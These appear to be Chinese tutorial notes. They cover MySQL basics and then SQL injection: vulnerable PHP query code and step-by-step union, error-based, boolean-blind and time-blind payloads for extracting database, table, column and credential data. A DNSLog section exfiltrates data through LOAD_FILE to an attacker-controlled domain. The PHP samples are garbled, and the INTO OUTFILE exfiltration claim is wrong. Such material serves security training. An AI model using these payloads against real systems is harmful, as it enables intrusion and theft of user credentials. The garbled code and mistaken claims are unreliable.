数据库基础知识

数据库就是用来存放数据的仓库。

RDBMS 指关系型数据库管理系统。RDBMS 中的数据存储在被称为表的数据库对象中。

表是相关的数据项的集合,它由列和行组成。

库—表—列—行

重要的库:Information_schema库

​ information_schema 是MySQL中的一个信息数据库。它存储了数据库管理系统自身的元数据,包括数据库、表、列、索引等对象的定义信息,还有用户权限等相关内容。以下列举常用的三个表,并以缩进代表层级,以粗体显示重要的列。

把 information_schema 库想象成一个巨大的图书馆索引系统。这个“索引系统”有许多“书架”(表)。

information_schema库(图书馆索引系统)

  • SCHEMATA表:它就像是图书馆的楼层索引,记录着每个“楼层”(数据库)的信息,包括数据库名称、字符集等基本信息。

    • SCHEMA_NAME:数据库名称,这是最重要的字段之一,通过它可以识别每个数据库。

    • DEFAULT_CHARACTER_SET_NAME:数据库默认的字符集名称,比如utf8、latin1等,它决定了数据库中存储文本数据的编码方式。

    • DEFAULT_COLLATION_NAME:数据库默认的排序规则,用于对数据库中的字符数据进行排序和比较操作。

  • TABLES表:相当于每个楼层里书架的索引。记录着每个“书架”(表)所属的“楼层”(数据库)、“书架”名称、表的类型(如MyISAM、InnoDB等)等内容。

    • TABLE_SCHEMA:所属数据库的名称,用于关联 SCHEMATA 表,表明该表位于哪个数据库中。

    • TABLE_NAME:表的名称,用于唯一标识数据库中的每个表。

    • ENGINE:存储引擎类型,例如InnoDB、MyISAM等。不同的存储引擎有不同的特性,如InnoDB支持事务和外键约束,而MyISAM在一些简单的读写场景下速度可能更快。

    • TABLE_TYPE:表的类型,通常是“BASE TABLE”(基本表)或“VIEW”(视图),基本表用于存储实际的数据,视图是基于SQL查询的虚拟表。

    • TABLE_ROWS:一个估计的表中的行数,这个数字可能不是完全精确的,但可以给用户一个表大小的大致概念。

  • COLUMNS表:可以看作是每个书架上书籍的详细索引。详细记录了每列(“书籍”)所属的“书架”(表)、列名、数据类型、列的排序规则等信息。

    • TABLE_SCHEMA:所属数据库的名称,和 TABLES 表中的 TABLE_SCHEMA 字段关联,用于确定列所属的数据库。
    • TABLE_NAME:所属表的名称,用于确定列所属的表,和 TABLES 表中的 TABLE_NAME 字段关联。
    • COLUMN_NAME:列的名称,用于唯一标识表中的每个列。
    • DATA_TYPE:列的数据类型,如INT(整数型)、VARCHAR(可变长字符串)、DATE(日期型)等,它决定了列可以存储的数据种类和格式。
    • COLUMN_TYPE:更详细的列类型信息,包括数据类型、长度、是否有符号等内容。例如,对于一个VARCHAR列,它可能显示为“VARCHAR(255)”,表示最大长度为255个字符。
    • IS_NULLABLE:表示列是否可以为空值(NULL),值为“YES”或“NO”,用于约束列的数据输入。

数据库命令

  1. 查看当前MySQL服务器中有哪些数据库 show databases;
  2. 数据库名创建新的数据库 create database;
  3. 切换数据库 use 数据库名;
  4. 查看当前正在使用的数据库 select database();
  5. 删除数据库 drop database 数据库名;
  6. 查看当前数据库中有那些表 show tables;
  7. 查询表结构 desc 表名;
  8. 查询表中的数据 select * from 表名;

Select查询语句

基本格式

Select 列名from 表名;

Select username from user;

查询多个列

Select 列名1,列名2 from 表名;

Select username,password from user;

查询所有列

Select * from 表名;

Select * from user;

使用where语句进行条件查询

Select 列名 from 表名 where 列名 = ‘xx’;

Select * from user where username = ‘admin’;

Insert插入语句

插入数据有三种形式

Insert into 表名 (列名1,列名2列名3) values (值1,值2,值3);

Insert into user (id,username,password) values (3, ‘test’, ‘test123’);

省略列名形式

Insert into 表名 values (值1,值2,值3);

Insert into user values(4, ‘test2’ , ‘abcd’);

使用set关键字插入数据

Insert into 表名 set 列名1=值1, 列名2=值2, 列名3=值3;

nsert into user set id = 5, username = ‘test3’, password = ‘1234564’;

Updata更新操作

基本格式

Update 表名 set 列名 = 新值 where 列名 = 值;

Update user set password = ‘abc123’ where username = ‘test’;

更新多个列

Update user set username = ‘tests’, password = ‘123’ where id = 3;

省略条件更新表中的一列数据

Update 表名 set 列名 = 新值;

Update user set password = ‘456789’;

Delet删除操作

删除表中的一行数据

Delete from 表名 where 列名 = 值;

Delete from user where username = tests;

使用in关键字删除表中的多行数据

Delete from 表名 where 列名 in (需要删除的行);

Delete from user where id in (4,5);

删除表中的所有数据

Delete from 表名 Delete from user;

SQL注入

以下示例均是GET类型,POST类型闭合前面代码即可。

包含漏洞的php代码示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

if( isset( $_REQUESTI[ 'Submit' ] ) ) {
// Get input
//从用户请求中获取id参数
$id =$_REQUESTI 'id' 1;

// Check database
//然后直接将id参数的值拼接进SQL语句,进行SQL查询
squery = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>');

// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ){
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );

// Feedback for end user
//输出查询结果
echo "<pre>ID: {$id}cbr />First name: {sfirst}cbr />Surname: {$last}</pre>";

// Increase loop count
$i++;
}

mysql_close();
}

?>

上述代码未对用户输入的参数进行过滤,用户可以向参数中传入sql语句进行拼接,最终拿到敏感信息

注入点判断

数字型参数

观察URL或表单数据中的数字参数,例如在 ?id=1 这样的链接中, id 为数字型参数。可以在参数后添加数学运算来测试,如 ?id=1+1 。如果页面返回的结果符合运算后的预期(如 id 变为 2 后的结果),则可能存在注入点。还可以使用逻辑判断语句,如 ?id=1 and 1=1?id=1 and 1=2 。若 ?id=1 and 1=1 返回正常内容, ?id=1 and 1=2 返回异常(如错误提示或空白页面),则很可能是注入点。

服务器代码示例

1
2
3
$id=$_POST[ 'id' ];
$mysql = new mysqli(“localhost", "root","root","web");
$query = "select * from user where id = $id;";

字符型参数

对于字符型参数,通常在SQL语句中会被单引号包裹。比如用户名或密码输入框。可以尝试闭合单引号并添加注释符号,如在用户名框输入 admin' --+ (+与空格的url编码相同,防止空格被吞, –+也可用#%23代替)。若能成功绕过验证(如登录成功或查询到数据),则可能存在注入点。也可以使用逻辑判断语句,如 admin' or '1'='1 。若能以此绕过验证,也说明可能是注入点。

服务器代码示例

1
2
3
4
5
6
7
8
9
10
if (@$_POST['username']&&$_POST['password']) {
    $username=$_POST['username'];
    $password=$_POST['password'];

    $mysql = new mysqli("localhost", "root", "root", "web");
    $query = "select * from user where username='".Susername."'and password='".$password."';";
    #var_dump($query);
    $row=$mysql->query($query);
    #var_dump($row);
    $result=$row->fetch_all();

搜索框参数

在搜索框中输入单引号或其他特殊字符,如 ' or 1=1 。观察页面是否返回异常结果或者全部数据,若是,则可能存在注入点。

通过观察错误信息判断

故意在输入框或URL参数中输入可能导致SQL错误的字符,如单引号、双引号、分号、注释符、括号、运算符等。如果页面返回类似 You have an error in your SQL syntax 的错误信息,就有可能存在SQL注入点。此时可以进一步利用这些错误信息来构造注入语句。

Union联合查询

当攻击者能够控制部分查询结果的显示,并且知道原始查询的列数和数据类型等信息时使用。这种情况常见于存在SQL注入点的查询是一个 SELECT 语句,且返回的结果会在页面上显示。例如,在一个产品展示页面,原始查询是 SELECT * FROM products WHERE category = ‘books’ ,并且产品信息会在页面上显示。

  • 基本格式

​ Select 列 from 表 [where 条件] union 其他查询语句;

  • 步骤(以MySQL为例)
  1. 查找注入点
1
2
id=1 and 1=1%23
#测试是数字型or字符型,实际操作中可能还需结合报错等进行判断语句格式
  1. 测试列数
1
2
id=1 order by 3%23
#实际操作中不断尝试order by的值直到找到不会报错的最大值
  1. 测试回显位
1
2
id=-1 union select 1,2,3%23
#union前后两条sql语句的列数必须一致
  1. 拿数据库名
1
2
id=-1 union select 1, schema_name,3 from information_schema.schemata%23
#select语句中可以使用group_concat()函数合并字符串

​ 或者

1
id=-1 union select 1,database(),3%23
  1. 拿表名
1
id=-1 union select 1,table_name,3 from information_ schema.tables where table_schema=database()%23
  1. 拿列名
1
id=-1 union select 1,column_name, 3 from information_schema.columns where table_name= 'flag' %23
  1. 拿数据
1
id=-1 union select 1,flag,3 from flag%23

报错注入

通常在无法使用union联合注入时使用。当应用程序没有正确处理SQL错误,会将错误信息显示在页面上时,通过构造特殊的注入语句,使数据库返回包含敏感信息的错误信息,从而获取数据。例如,在一个简单的测试环境网站,没有对SQL错误进行处理,错误信息会直接显示在页面上。

使用函数:

1. extractvalue()函数(MySQL)

函数语法:extractvalue(XML_document, XPath_string)

其中 XML_document 要求是一个格式良好的XML文档内容, XPath_string 是一个XPath路径表达式。

例如: extractvalue(1,concat(0x7e,(database()),0x7e)) ,这里 1 不是一个有效的XML文档,构造这样的语句会引发报错。 concat 函数用于拼接字符串, 0x7e 是~的十六进制表示,用于在报错信息中标记数据库名称的位置,这样在报错信息中就能获取数据库名称。

2. updatexml()函数(MySQL)

函数语法:updatexml(XML_document, XPath_string, new_value)

XML_document 是XML文档, XPath_string 是XPath路径, new_value 是要更新的值。和 extractvalue 函数类似,也是通过构造错误参数引发报错来获取信息。

例如: updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema = database() LIMIT 0,1),0x7e),1) ,由于第一个参数不符合要求而报错,在报错信息中可以获取数据库中的第一张表名,第三个参数1在这里无实际作用,因为函数会因为第一个参数不符合要求而报错。

3. SUBSTR()函数(或SUBSTRING()函数)

字符串截取函数。绕过字符串返回长度限制时使用。

函数语法:SUBSTR(str,pos,len)SUBSTRING(str,pos,len)

str 是要截取的字符串,可以是列名、函数返回的字符串等; pos 是开始截取的位置,从1开始计数(注意不是从0开始),为正时从左往右数,为负时从右往左数; len 是要截取的长度;若没有给出len参数,则取到最后。

注意:在函数 substring(str,pos, len)中, pos 可以是负值,但 len 不能取负值

例如: SELECT SUBSTR(‘abcdef’,2,3) 会返回 bcd ,它从字符串 abcdef 的第二个位置开始,截取长度为3的子字符串。

4. LEFT()函数

字符串截取函数。从左边开始截取指定长度的字符串。

函数语法: LEFT(str,len)

例如: SELECT LEFT(‘abcdef’,3); 会返回 abc 。

5. RIGHT()函数

字符串截取函数。从右边开始截取指定长度的字符串。

函数语法: RIGHT(str,len)

例如: SELECT RIGHT(‘abcdef’,2); 的结果是 ef 。

6. MID()函数

和SUBSTRING()函数类似,用于从指定位置开始提取子字符串。

函数语法: MID(str,start,length)

这里 str 是原始字符串, start 是开始位置, length 是要截取的长度。

例如: SELECT MID(‘MySQL Tutorial’,7,7); 会返回 Tutorial 。

步骤(以MySQL为例)

1. 寻找注入点

2. 确定数据库类型及对应的报错函数和特性

MySQL数据库可以利用函数 extractvalue() 或者 updatexml() 来触发报错。如果我们故意构造错误的参数,就会引发报错。

SQL Server数据库可以利用一些系统存储过程或者函数,比如 xp_cmdshell (如果启用),或者在执行除法运算时分母为0等操作来引发报错。在高版本的SQL Server中, xp_cmdshell 默认是禁用的。

3. 利用报错获取信息

获取数据库名称

构造注入语句如

1
?id=1 AND extractvalue(1,concat(0x7e,(database()),0x7e))

当执行这个语句时,由于 extractvalue() 函数的参数不符合要求,会引发报错,并且在报错信息中会包含数据库名称。

获取表名

构造语句

1
?id=1 AND extractvalue(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),0x7e))

在报错信息中会显示第一张表的名称。

获取列名

以查询 users 表为例,可以构造语句

1
?id=1 AND extractvalue(1,concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 0,1),0x7e)) 

在报错信息中获取列名。

获取数据内容

例如,要获取 users 表中的用户名,可以构造语句

1
?id=1 AND extractvalue(1,concat(0x7e,(SELECT username FROM users LIMIT 0,1),0x7e))

在报错信息中得到用户名相关内容。

盲注

盲注时 orand 可以根据闭合前面代码时的真假和页面的返回内容进行选择。

一、布尔盲注 - 回显不同

当页面返回结果只有两种状态(如正常显示和错误显示),并且无法直接获取数据库中的数据内容时使用。这种情况常见于网站对错误信息进行了隐藏或者统一处理,使得攻击者很难从页面直观地看到SQL查询的结果。例如,在一个搜索功能中,无论搜索结果是否存在,页面都只显示“未找到相关内容”或者正常的搜索结果,不会显示SQL错误。

使用函数

1. SUBSTR()函数(或SUBSTRING()函数)

字符串截取函数。

函数语法:SUBSTR(str,pos,len)SUBSTRING(str,pos,len)

str 是要截取的字符串,可以是列名、函数返回的字符串等; pos 是开始截取的位置,从1开始计数(注意不是从0开始),为正时从左往右数,为负时从右往左数; len 是要截取的长度;若没有给出len参数,则取到最后。

注意:在函数 substring(str,pos, len)中, pos 可以是负值,但 len 不能取负值

例如: SELECT SUBSTR(‘abcdef’,2,3) 会返回 bcd ,它从字符串 abcdef 的第二个位置开始,截取长度为3的子字符串。

2. ASCII()函数

函数语法:ASCII(char)

char 是要获取ASCII码的单个字符。

例如: SELECT ASCII(‘a’) 会返回97,因为小写字母 a 的ASCII码是97。

3. LENGTH()/LEN()函数

函数语法:LENGTH(str)

用于计算字符串 str 的长度。

例如: SELECT LENGTH(‘abc’) 返回3。

4. COUNT(*)函数

函数语法: SELECT COUNT(*) FROM table_name WHERE condition

在 SELECT 语句中使用。其中 table_name 是要查询的表名, condition 是筛选条件。

例如: SELECT COUNT(*) FROM users WHERE age > 20 会计算 users 表中年龄大于20的记录数量。

5. IF()函数

用于进行条件判断并返回不同的值。

函数语法:IF(condition,value_if_true,value_if_false)

condition 是一个条件表达式, value_if_true 是条件为真时返回的值, value_if_false 是条件为假时返回的值。

例如: SELECT IF(1 > 0,’yes’,’no’) 返回 yes ,因为1大于0这个条件为真。

步骤(以MySQL为例)

1. 判断注入点

2. 确定数据库长度和名称

数据库长度:

通过构造布尔表达式来判断数据库名称长度。例如

1
?id=1 and (length(database()))=4

不断改变等号后面的数字进行测试,直到页面返回正常结果,此时的数字就是数据库名称的长度。

数据库名称:

确定长度后,使用逐字符猜测的方法来获取数据库名称。从第一个字符开始,使用 ASCII 码(32~126)进行猜测。例如

1
?id=1 and (ascii(substr(database(),1,1)))>97 

通过不断调整比较的ASCII码值(可以使用二分法),当页面返回正常结果时,就可以确定第一个字符的ASCII码范围。重复这个过程,就可以逐个字符猜出数据库名称。

3. 获取表名相关信息

表的数量:

1
?id=1 and (select count(*) from information_schema.tables where table_schema=database())=3 

通改变等号后面的数字来猜测数据库中表的数量,直到页面返回正常结果。

表名长度和名称:

确定表的数量后,对于每一个表,用类似获取数据库名称的方法来获取表名长度和名称。例如

1
?id=1 and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 5

用于猜测第一张表的长度,然后通过逐字符猜测ASCII码来获取表名,如

1
?id=1 and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>97 

4. 获取列名相关信息

列的数量:

以一张表为例(假设要查询 users 表的列数量),可以使用

1
?id=1 and (select count(*) from information_schema.columns where table_schema=database() and table_name='users')=3 

通过改变等号后面的数字来猜测列数量,直到页面返回正常结果。

列名长度和名称:

确定列数量后,对于每一列,用类似获取表名的方法来获取列名长度和名称。例如

1
2
3
 ?id=1 and (length((select column_name from 

information_schema.columns where table_schema=database() and table_name='users' limit 0,1))) = 4

用于猜测第一列的长度,然后通过逐字符猜测ASCII码来获取列名,如

1
2
3
 ?id=1 and (ascii(substr((select column_name from information_schema.columns where 

table_schema=database() and table_name='users' limit 0,1),1,1)))>97

5. 获取数据内容

以获取 users 表中的用户名和密码为例,可以使用

1
?id=1 and (ascii(substr((select username from users limit 0,1),1,1)))>97

来逐字符猜测用户名的第一个字符的ASCII码,重复这个过程获取完整用户名。然后用同样的方法获取密码等其他数据。

二、时间盲注 - 响应时间不同

当布尔盲注无法有效判断时使用。比如页面对于不同的SQL查询结果都返回相同的正常页面,没有任何可以区分的反馈。同时,目标数据库支持可以产生时间延迟的函数(如MySQL中的 SLEEP() 函数)。例如,在一个新闻文章展示页面,无论文章是否存在,页面都正常加载一个默认的模板,没有任何可以用来判断注入是否成功的提示。

使用函数

1. SLEEP()函数(MySQL)

函数语法:SLEEP(seconds)

seconds 表示延迟的秒数。

例如: SLEEP(5) 会使SQL查询暂停5秒。

2. WAITFOR DELAY(SQL Server)

函数语法:WAITFOR DELAY 'time'

其中 time 是要延迟的时间,格式为 hh:mm:ss.mmm

例如: WAITFOR DELAY ‘00:00:05’ 表示延迟5秒。

3. SUBSTR()函数(或SUBSTRING()函数)

字符串截取函数。

函数语法:SUBSTR(str,pos,len)SUBSTRING(str,pos,len)

str 是要截取的字符串,可以是列名、函数返回的字符串等; pos 是开始截取的位置,从1开始计数(注意不是从0开始),为正时从左往右数,为负时从右往左数; len 是要截取的长度;若没有给出len参数,则取到最后。

注意:在函数 substring(str,pos, len)中, pos 可以是负值,但 len 不能取负值

例如: SELECT SUBSTR(‘abcdef’,2,3) 会返回 bcd ,它从字符串 abcdef 的第二个位置开始,截取长度为3的子字符串。

4. ASCII()函数

函数语法:ASCII(char)

char 是要获取ASCII码的单个字符。

例如: SELECT ASCII(‘a’) 会返回97,因为小写字母 a 的ASCII码是97。

5. LENGTH()/LEN()函数

函数语法:LENGTH(str)

用于计算字符串 str 的长度。

例如: SELECT LENGTH(‘abc’) 返回3。

6. IF()函数

用于进行条件判断并返回不同的值。

函数语法:IF(condition,value_if_true,value_if_false)

condition 是一个条件表达式, value_if_true 是条件为真时返回的值, value_if_false 是条件为假时返回的值。

例如: SELECT IF(1 > 0,’yes’,’no’) 返回 yes ,因为1大于0这个条件为真。

步骤(以MySQL为例)

1. 寻找注入点

2. 确认数据库类型及支持的延迟函数

不同的数据库有不同的延迟函数,例如MySQL中有 SLEEP() 函数,SQL Server中有 WAITFOR DELAY 。通过页面返回的错误信息或者其他线索(如已知技术栈)来判断数据库类型,从而确定可以使用的延迟函数。

3. 利用时间延迟获取信息

获取数据库名称长度:

构造注入语句如

1
?id=1 AND IF((LENGTH(database())=4),SLEEP(5),1) 

这里的 IF 函数用于条件判断,如果数据库名称长度等于4,就执行 SLEEP(5) 函数,使页面延迟5秒返回;如果长度不等于4,则返回1,页面正常返回。通过不断改变等号后面的数字来测试数据库名称长度,直到页面延迟返回,此时的数字就是数据库名称长度。

获取数据库名称字符:

确定长度后,逐字符获取数据库名称。从第一个字符开始,构造语句如

1
?id=1 AND IF((ASCII(SUBSTR(database(),1,1)))>97,SLEEP(5),1)

通过不断调整比较的ASCII码值,当页面延迟返回时,就可以确定第一个字符的ASCII码范围。重复这个过程,就可以逐个字符猜出数据库名称。

获取表名相关信息

表的数量:

1
?id=1 AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())=3,SLEEP(5),1) 

通过改变等号后面的数字来猜测数据库中表的数量,直到页面延迟返回,就确定了表的数量。

表名长度和名称:

确定表的数量后,对于每一个表,用类似获取数据库名称的方法来获取表名长度和名称。例如

1
?id=1 AND IF((LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))) = 5,SLEEP(5),1)

用于猜测第一张表的长度,然后通过逐字符猜测ASCII码来获取表名,如

1
?id=1 AND IF((ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)))>97,SLEEP(5),1)

获取列名相关信息

列的数量:

以一张表为例(假设要查询 users 表的列数量),可以使用

1
?id=1 AND IF((SELECT COUNT(*) FROM information_schema.columns WHERE table_schema=database() AND table_name='users')=3,SLEEP(5),1)

通过改变等号后面的概率来猜测列数量,直到页面延迟返回,就确定了列数量。

列名长度和名称:

确定列数量后,对于每一列,用类似获取表名的方法来获取列名长度和名称。例如

1
?id=1 AND IF((LENGTH((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 0,1))) = 4,SLEEP(5),1)

用于猜测第一列的长度,然后通过逐字符猜测ASCII码来获取列名,如

1
?id=1 AND IF((ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 0,1),1,1)))>97,SLEEP(5),1)

获取数据内容

以获取 users 表中的用户名和密码为例,可以使用

1
?id=1 AND IF((ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1),1,1)))>97,SLEEP(5),1) 

来逐字符猜测用户名的第一个字符的ASCII码,重复这个过程获取完整用户名。然后用同样的方法获取密码等其他数据。

二次注入

DNSlog外带注入(只有数据库部署在win环境下可用)

一、DNSLog外带注入原理

  1. 概述
  • DNSLog外带注入是一种SQL注入攻击技术,主要用于盲注场景。在盲注中,攻击者无法直接从页面上获取注入结果(例如基于布尔的盲注中页面只返回True或False的结果,基于时间的盲注需要等待时间判断)。
  • DNSLog利用了DNS(域名系统)协议的特性。当一个域名被查询时,DNS服务器会记录下查询请求,攻击者可以通过查看DNS服务器上的日志(DNSLog)来获取信息。
  1. 数据库与DNS交互原理
  • 在某些数据库系统中,存在一些函数可以发起网络请求,例如MySQL中的 LOAD_FILE() 函数和 SELECT… INTO OUTFILE 语句可以用来读取和写入文件, INET_ATON() 和 INET_NTOA() 函数用于IP地址和数字的转换。
  • 当结合数据库的网络请求函数和SQL注入漏洞时,攻击者可以构造恶意的SQL语句,让数据库去请求一个攻击者控制的域名。例如,在SQL注入点处构造语句让数据库查询 http://<attacker - controlled - domain>.com ,其中 <attacker - controlled - domain> 是攻击者控制的域名。
  • 数据库执行该查询时,会向DNS服务器请求解析这个域名,而攻击者可以通过查看DNS服务器上的请求日志(DNSLog)来获取数据库执行查询时的数据。

二、DNSLog外带注入攻击步骤

  1. 准备工作
  • 需要先注册一个域名,并设置好DNS服务器。例如,注册了 attacker - domain.com ,并配置了相应的DNS记录。
  1. 寻找SQL注入点
  • 通过手工测试或使用自动化工具(如SQLMap)寻找目标网站上的SQL注入点。这一步和常规的SQL注入检测方法类似,包括对数字型和字符型参数进行测试。例如,在一个URL参数 ?id=1 处发现可能的注入点。
  1. 构造注入语句

​ 假设目标网站使用MySQL数据库,可以构造如下的注入语句:

  • 如果是基于 LOAD_FILE() 函数的外带:

    例如,id=1 AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.attacker - domain.com\\a.txt')))

    这里 CONCAT 函数用于拼接字符串, LOAD_FILE 函数会尝试加载文件,在加载文件的过程中会触发对拼接域名的DNS查询。

  • 如果是基于 SELECT… INTO OUTFILE 语句的外带:

    例如,id=1 AND (SELECT * FROM users INTO OUTFILE '/var/www/html/attacker - file.php'),同时在自己的服务器上监听对 attacker - file.php 的请求,当数据库执行这条语句时,会尝试将数据写入文件,可以通过捕获对这个文件的请求获取数据。这种方法相对复杂,并且需要目标服务器有合适的文件写入权限。

  1. 查看DNSLog获取数据
  • 在构造并发送注入语句后,到自己的DNSLog平台查看日志。如果注入成功,会在日志中看到数据库发起的DNS查询记录,从中可以提取出想要的信息,如数据库名、表名、列名甚至是敏感数据。